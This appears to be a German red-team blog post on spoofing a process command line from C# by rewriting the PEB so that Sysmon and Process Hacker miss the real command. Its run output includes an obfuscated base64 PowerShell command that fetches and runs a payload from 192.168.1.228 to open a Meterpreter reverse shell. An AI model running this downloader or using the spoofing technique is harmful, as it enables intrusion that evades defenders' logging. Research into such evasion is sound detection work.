
Wie man die Befehlszeile beim Erstellen eines neuen Prozesses aus C# vortäuscht.
Ein Beispiel für die Verwendung von C#, um eine Meterpreter-Shell zu injizieren, während die Befehlszeile gespooft wird. Die Befehlszeile wird im Process Environment Block gespeichert, protokolliert, wenn ein neuer Prozess startet, und in Tools wie Process Hacker und Task Manager angezeigt.
Dieser Code basiert auf dem Blog How to Argue like Cobalt Strike von Adam Chester/XPN. Der Blog erklärt, wie Cobalt Strike die Befehlszeile eines Prozesses beim Injizieren eines Beacons spoofed.
Ich habe dies als Grundlage verwendet, um eine C#-Version zu erstellen, die einen PowerShell-Prozess erzeugt und eine Meterpreter-Reverse-Shell injiziert. Zugegebenermaßen ist keine .NET-Binärdatei erforderlich, um dies zu tun, aber es zeigt, wie Befehle gespooft werden können.
Ein neuer Prozess wird in einem angehaltenen Zustand mit einem gespooften Befehlszeilenargument gestartet.
Der gespoofte Befehl wird protokolliert, aber wir können die Befehlszeile im PEB des Prozesses ändern. Wenn der Haupt-Thread fortgesetzt wird, verwendet der Prozess die neue Befehlszeile im PEB.
Die Ausführung des Codes wird unten gezeigt:
[+] Spoofing command: powershell.exe nothing to see here! :-P
[+] Process spawned, PID: 8588
[+] PEB Address: 0x2B2366F000
[+] ProcessParameters Address: 0x1EF61560000
[+] CommandLine Address: 0x1EF615606BC
[+] Original CommandLine: powershell.exe nothing to see here! :-P
[+] New CommandLine: powershell.exe -exec bypass -enc WwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACgASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAIgBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMgAyADgALwBwAC4AZQB4AGUAIgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAKQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAKAAsACAAWwBzAHQAcgBpAG4AZwBbAF0AXQAgACgAJwAxADkAMgAuADEANgA4AC4AMQAuADIAMgA4ACcALAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAUABJAEQALAAgACcAMQAwACcAKQApACkAOwB3AGgAaQBsAGUAIAAoACQAdAByAHUAZQApAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADAAMAB9AA== , written to process
[+] Resuming process
Dieses Beispiel injiziert eine Meterpreter-Reverse-Shell mit PowerShell, aber es wird mit einem gespooften Befehlszeilenargument protokolliert.
Sysmon protokolliert die ursprüngliche (gespoofte) Befehlszeile:

Process Hacker zeigt den ausgeführten Befehl nicht an:
